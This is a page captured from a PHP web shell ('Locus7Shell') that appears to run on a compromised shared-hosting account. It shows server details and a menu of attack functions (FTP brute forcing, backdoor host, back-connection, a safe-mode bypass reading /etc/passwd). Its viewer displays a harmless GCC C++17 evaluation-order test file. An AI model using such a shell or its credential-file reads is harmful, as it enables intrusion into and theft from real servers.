Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/cpp1z/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     eval-order3.C (2.32 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// P0145R2: Refining Expression Order for C++
// { dg-do run { target c++17 } }

extern "C" int printf (const char *, ...);
void sink(...) { }

int last = 0;
int f(int i)
{
  if (i < last)
    __builtin_abort ();
  last = i;
  return i;
}

int& g(int i)
{
  static int dummy;
  f(i);
  return dummy;
}

struct A
{
  int _i;
  A(int i): _i(f(i)) { }
  A& memfn(int i, int j) { f(j); return *this; }
  int operator<<(int i) { return 0; }
  A& operator=(const A&) { return *this; }
  A& operator+=(int i) { return *this; }
};

struct B
{
  int _i;
  B(): _i(0) {}
  B(int i): _i(f(i)) { }
};

int operator>>(A&, int i) { return 0; }

A a(0);
A* afn(int i)
{
  f(i);
  return &a;
}

A& aref(int i)
{
  f(i);
  return a;
}

B b;
B bval(int i)
{
  return B(i);
}

B& bref(int i)
{
  f(i);
  return b;
}

static int si;
int* ip (int i)
{
  f(i);
  return &si;
}

int& iref(int i)
{
  f(i);
  return si;
}

auto pmff(int i) {
  f(i);
  return &A::memfn;
}

template <class T> void f()
{
  // a.b
  A(1).memfn(f(2),3).memfn(f(4),5);
  aref(6).memfn(f(7),8);
  (aref(9).*pmff(10))(f(11),12);
  last = 0;

  // a->b
  afn(12)->memfn(f(13),14);

  // a->*b
  (afn(15)->*pmff(16))(f(17),18);
  last = 0;

  // a(b)
  // covered in eval-order1.C

  // b @= a
  aref(19)=A(18);
  iref(21)=f(20);
  aref(23)+=f(22);
  bref(25)=bval(24);
  (f(27), b) = bval(26);
  last = 0;

  int ar[4] = {};
  int i = 0;
  ar[i++] = i;
  if (ar[0] != 0)
    __builtin_abort();

  // a[b]
  afn(20)[f(21)-21].memfn(f(22),23);
  ip(24)[f(25)-25] = 0;
  last=0;

  // a << b
  aref(24) << f(25);
  iref(26) << f(27);
  last=0;

  // a >> b
  aref(26) >> f(27);
  iref(28) >> f(29);
}

void g()
{
  // a.b
  A(1).memfn(f(2),3).memfn(f(4),5);
  aref(6).memfn(f(7),8);
  (aref(9).*pmff(10))(f(11),12);
  last = 0;

  // a->b
  afn(12)->memfn(f(13),14);

  // a->*b
  (afn(15)->*pmff(16))(f(17),18);
  last = 0;

  // a(b)
  // covered in eval-order1.C

  // b @= a
  aref(19)=A(18);
  iref(21)=f(20);
  aref(23)+=f(22);
  bref(25)=bval(24);
  (f(27), b) = bval(26);
  last = 0;

  int ar[4] = {};
  int i = 0;
  ar[i++] = i;
  if (ar[0] != 0)
    __builtin_abort();

  // a[b]
  afn(20)[f(21)-21].memfn(f(22),23);
  ip(24)[f(25)-25] = 0;
  last=0;

  // a << b
  aref(24) << f(25);
  iref(26) << f(27);
  last=0;

  // a >> b
  aref(26) >> f(27);
  iref(28) >> f(29);
}

int main()
{
  g();
  last = 0;
  f<int>();
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0059 ]--